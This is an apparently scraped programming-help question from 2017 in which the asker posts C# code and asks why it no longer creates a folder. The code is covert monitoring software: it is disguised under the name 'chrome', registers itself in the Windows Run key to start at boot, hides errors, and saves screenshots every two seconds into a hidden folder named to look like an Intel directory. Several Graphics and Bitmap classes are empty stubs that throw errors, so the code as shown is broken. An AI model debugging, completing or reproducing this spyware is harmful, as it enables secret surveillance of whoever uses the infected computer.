mardi 22 août 2017

What's wrong with my code? No errors are showing yet it's not creating a folder

As you can see, part of my code entails it creating a directory/folder if it does not already exist. I've had this working before, but recently it just stopped working. Why is that? I'm using Visual Studio 2017. Thanks! (It won't let me post my question with mostly code, but I have nothing else to say so I'm typing here randomly. Please ignore.)

Here is my code:

using System;
using System.Threading;
using System.Reflection;
using System.IO;

namespace chrome
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch { }
            //------------------

            //------------screenshot  loop takes screenshots after 1 min-----------
            int n = 0;
            while (n == 0)
            {
                try
                {
                    Thread.Sleep(2000);
                    OnTimedEvent();
                }
                catch { }
            }
            //-------------------------

        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1366, 768);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\Intel\\dsp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\Intel\\dsp");
                File.SetAttributes("C:\\Intel\\dsp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\Intel\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }
        }

        //---------------------------------------------------------

        internal class Graphics
        {
            internal static Graphics FromImage(Bitmap memoryImage)
            {
                throw new NotImplementedException();
            }

            internal void CopyFromScreen(int v1, int v2, int v3, int v4, Size s)
            {
                throw new NotImplementedException();
            }
        }

        internal class Size
        {
            private object width;
            private object height;

            public Size(object width, object height)
            {
                this.width = width;
                this.height = height;
            }
        }

        internal class Bitmap
        {
            private int v1;
            private int v2;

            public Bitmap(int v1, int v2)
            {
                this.v1 = v1;
                this.v2 = v2;
            }

            public object Width { get; internal set; }
            public object Height { get; internal set; }

            internal void Save(string str)
            {
                throw new NotImplementedException();
            }
        }
    }
}




Aucun commentaire:

Enregistrer un commentaire